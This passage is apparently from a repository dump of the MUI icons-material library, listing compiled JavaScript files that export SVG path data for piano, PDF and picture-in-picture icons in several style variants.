    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 11.5h.25V19h-4.5v-4.5H10c.55 0 1-.45 1-1V5h2v8.5c0 .55.45 1 1 1M5 5h2v8.5c0 .55.45 1 1 1h.25V19H5zm14 14h-3.25v-4.5H16c.55 0 1-.45 1-1V5h2z\"\n}), 'PianoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PianoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 11.5h.25V19h-4.5v-4.5H10c.55 0 1-.45 1-1V5h2v8.5c0 .55.45 1 1 1M5 5h2v8.5c0 .55.45 1 1 1h.25V19H5zm14 14h-3.25v-4.5H16c.55 0 1-.45 1-1V5h2z\"\n}), 'PianoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PianoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-8 11.5h1.25V19h-4.5v-4.5H11V5h2zM5 5h2v9.5h1.25V19H5zm14 14h-3.25v-4.5H17V5h2z\"\n}), 'PianoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PianoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-8 11.5h1.25V19h-4.5v-4.5H11V5h2zM5 5h2v9.5h1.25V19H5zm14 14h-3.25v-4.5H17V5h2z\"\n}), 'PianoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PianoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 14.5h.25V19h-4.5v-4.5H10c.55 0 1-.45 1-1V5h2v8.5c0 .55.45 1 1 1M5 5h2v8.5c0 .55.45 1 1 1h.25V19H5zm14 14h-3.25v-4.5H16c.55 0 1-.45 1-1V5h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 11.5h.25V19h-4.5v-4.5H10c.55 0 1-.45 1-1V5h2v8.5c0 .55.45 1 1 1M5 5h2v8.5c0 .55.45 1 1 1h.25V19H5zm14 14h-3.25v-4.5H16c.55 0 1-.45 1-1V5h2z\"\n}, \"1\")], 'PianoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PianoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 14.5h.25V19h-4.5v-4.5H10c.55 0 1-.45 1-1V5h2v8.5c0 .55.45 1 1 1M5 5h2v8.5c0 .55.45 1 1 1h.25V19H5zm14 14h-3.25v-4.5H16c.55 0 1-.45 1-1V5h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-5 11.5h.25V19h-4.5v-4.5H10c.55 0 1-.45 1-1V5h2v8.5c0 .55.45 1 1 1M5 5h2v8.5c0 .55.45 1 1 1h.25V19H5zm14 14h-3.25v-4.5H16c.55 0 1-.45 1-1V5h2z\"\n}, \"1\")], 'PianoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdf.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 7.5c0 .83-.67 1.5-1.5 1.5H9v2H7.5V7H10c.83 0 1.5.67 1.5 1.5zm5 2c0 .83-.67 1.5-1.5 1.5h-2.5V7H15c.83 0 1.5.67 1.5 1.5zm4-3H19v1h1.5V11H19v2h-1.5V7h3zM9 9.5h1v-1H9zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm10 5.5h1v-3h-1z\"\n}), 'PictureAsPdf');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdf.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 7.5c0 .83-.67 1.5-1.5 1.5H9v2H7.5V7H10c.83 0 1.5.67 1.5 1.5zm5 2c0 .83-.67 1.5-1.5 1.5h-2.5V7H15c.83 0 1.5.67 1.5 1.5zm4-3H19v1h1.5V11H19v2h-1.5V7h3zM9 9.5h1v-1H9zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm10 5.5h1v-3h-1z\"\n}), 'PictureAsPdf');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm12 6V9c0-.55-.45-1-1-1h-2v5h2c.55 0 1-.45 1-1m-2-3h1v3h-1zm4 2h1v-1h-1V9h1V8h-2v5h1zm-8 0h1c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9v5h1zm0-2h1v1h-1z\"\n}), 'PictureAsPdfOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zM4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm12 6V9c0-.55-.45-1-1-1h-2v5h2c.55 0 1-.45 1-1m-2-3h1v3h-1zm4 2h1v-1h-1V9h1V8h-2v5h1zm-8 0h1c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9v5h1zm0-2h1v1h-1z\"\n}), 'PictureAsPdfOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 7.5c0 .83-.67 1.5-1.5 1.5H9v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V8c0-.55.45-1 1-1H10c.83 0 1.5.67 1.5 1.5zm5 2c0 .83-.67 1.5-1.5 1.5h-2c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5h2c.83 0 1.5.67 1.5 1.5zm4-3.75c0 .41-.34.75-.75.75H19v1h.75c.41 0 .75.34.75.75s-.34.75-.75.75H19v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V8c0-.55.45-1 1-1h1.25c.41 0 .75.34.75.75M9 9.5h1v-1H9zM3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m11 5.5h1v-3h-1z\"\n}), 'PictureAsPdfRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 7.5c0 .83-.67 1.5-1.5 1.5H9v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V8c0-.55.45-1 1-1H10c.83 0 1.5.67 1.5 1.5zm5 2c0 .83-.67 1.5-1.5 1.5h-2c-.28 0-.5-.22-.5-.5v-5c0-.28.22-.5.5-.5h2c.83 0 1.5.67 1.5 1.5zm4-3.75c0 .41-.34.75-.75.75H19v1h.75c.41 0 .75.34.75.75s-.34.75-.75.75H19v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V8c0-.55.45-1 1-1h1.25c.41 0 .75.34.75.75M9 9.5h1v-1H9zM3 6c-.55 0-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1m11 5.5h1v-3h-1z\"\n}), 'PictureAsPdfRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H6v16h16zm-10.5 9H9v2H7.5V7h4zm5 .5c0 .83-.67 1.5-1.5 1.5h-2.5V7H15c.83 0 1.5.67 1.5 1.5zm4-3H19v1h1.5V11H19v2h-1.5V7h3zM9 9.5h1v-1H9zM4 6H2v16h16v-2H4zm10 5.5h1v-3h-1z\"\n}), 'PictureAsPdfSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H6v16h16zm-10.5 9H9v2H7.5V7h4zm5 .5c0 .83-.67 1.5-1.5 1.5h-2.5V7H15c.83 0 1.5.67 1.5 1.5zm4-3H19v1h1.5V11H19v2h-1.5V7h3zM9 9.5h1v-1H9zM4 6H2v16h16v-2H4zm10 5.5h1v-3h-1z\"\n}), 'PictureAsPdfSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9h1v1h-1zm4 0h1v3h-1zm-6 7h12V4H8zm9-8h2v1h-1v1h1v1h-1v2h-1zm-4 0h2c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-2zM9 8h2c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-1v2H9z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-4-4V9c0-.55-.45-1-1-1h-2v5h2c.55 0 1-.45 1-1m-2-3h1v3h-1zm4 2h1v-1h-1V9h1V8h-2v5h1zm-8 0h1c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9v5h1zm0-2h1v1h-1z\"\n}, \"2\")], 'PictureAsPdfTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureAsPdfTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9h1v1h-1zm4 0h1v3h-1zm-6 7h12V4H8zm9-8h2v1h-1v1h1v1h-1v2h-1zm-4 0h2c.55 0 1 .45 1 1v3c0 .55-.45 1-1 1h-2zM9 8h2c.55 0 1 .45 1 1v1c0 .55-.45 1-1 1h-1v2H9z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H8V4h12zm-4-4V9c0-.55-.45-1-1-1h-2v5h2c.55 0 1-.45 1-1m-2-3h1v3h-1zm4 2h1v-1h-1V9h1V8h-2v5h1zm-8 0h1c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9v5h1zm0-2h1v1h-1z\"\n}, \"2\")], 'PictureAsPdfTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPicture.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-8v6h8zm2-4H3c-1.1 0-2 .9-2 2v14c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98V5c0-1.1-.9-2-2-2m0 16.01H3V4.98h18z\"\n}), 'PictureInPicture');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPicture.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-8v6h8zm2-4H3c-1.1 0-2 .9-2 2v14c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98V5c0-1.1-.9-2-2-2m0 16.01H3V4.98h18z\"\n}), 'PictureInPicture');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-8v6h8zm4 8V4.98C23 3.88 22.1 3 21 3H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-2 .02H3V4.97h18z\"\n}), 'PictureInPictureAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-8v6h8zm4 8V4.98C23 3.88 22.1 3 21 3H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-2 .02H3V4.97h18z\"\n}), 'PictureInPictureAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-8v6h8zm-2 4h-4v-2h4zm4-12H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V4.98C23 3.88 22.1 3 21 3m0 16.02H3V4.97h18z\"\n}), 'PictureInPictureAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-8v6h8zm-2 4h-4v-2h4zm4-12H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V4.98C23 3.88 22.1 3 21 3m0 16.02H3V4.97h18z\"\n}), 'PictureInPictureAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11h-6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m5 8V4.98C23 3.88 22.1 3 21 3H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-3 .02H4c-.55 0-1-.45-1-1V5.97c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.05c0 .55-.45 1-1 1\"\n}), 'PictureInPictureAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11h-6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1m5 8V4.98C23 3.88 22.1 3 21 3H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2m-3 .02H4c-.55 0-1-.45-1-1V5.97c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.05c0 .55-.45 1-1 1\"\n}), 'PictureInPictureAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-8v6h8zm4 10V3H1v18zm-2-1.98H3V4.97h18z\"\n}), 'PictureInPictureAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-8v6h8zm4 10V3H1v18zm-2-1.98H3V4.97h18z\"\n}), 'PictureInPictureAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 11h-8v6h8zm-2 4h-4v-2h4zm4-12H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V4.98C23 3.88 22.1 3 21 3m0 16.02H3V4.97h18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13h4v2h-4z\",\n  opacity: \".3\"\n}, \"1\")], 'PictureInPictureAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 11h-8v6h8zm-2 4h-4v-2h4zm4-12H3c-1.1 0-2 .88-2 1.98V19c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V4.98C23 3.88 22.1 3 21 3m0 16.02H3V4.97h18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13h4v2h-4z\",\n  opacity: \".3\"\n}, \"1\")], 'PictureInPictureAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-8v6h8zm-2 4h-4V9h4zm4-8H3c-1.1 0-2 .9-2 2v14c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98V5c0-1.1-.9-2-2-2m0 16.01H3V4.98h18z\"\n}), 'PictureInPictureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7h-8v6h8zm-2 4h-4V9h4zm4-8H3c-1.1 0-2 .9-2 2v14c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98V5c0-1.1-.9-2-2-2m0 16.01H3V4.98h18z\"\n}), 'PictureInPictureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7h-6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1m3-4H3c-1.1 0-2 .9-2 2v14c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98V5c0-1.1-.9-2-2-2m-1 16.01H4c-.55 0-1-.45-1-1V5.98c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.03c0 .55-.45 1-1 1\"\n}), 'PictureInPictureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7h-6c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V8c0-.55-.45-1-1-1m3-4H3c-1.1 0-2 .9-2 2v14c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98V5c0-1.1-.9-2-2-2m-1 16.01H4c-.55 0-1-.45-1-1V5.98c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.03c0 .55-.45 1-1 1\"\n}), 'PictureInPictureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7h-8v6h8zm4-4H1v17.98h22zm-2 16.01H3V4.98h18z\"\n}), 'PictureInPictureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PictureInPictureSharp.mjs",
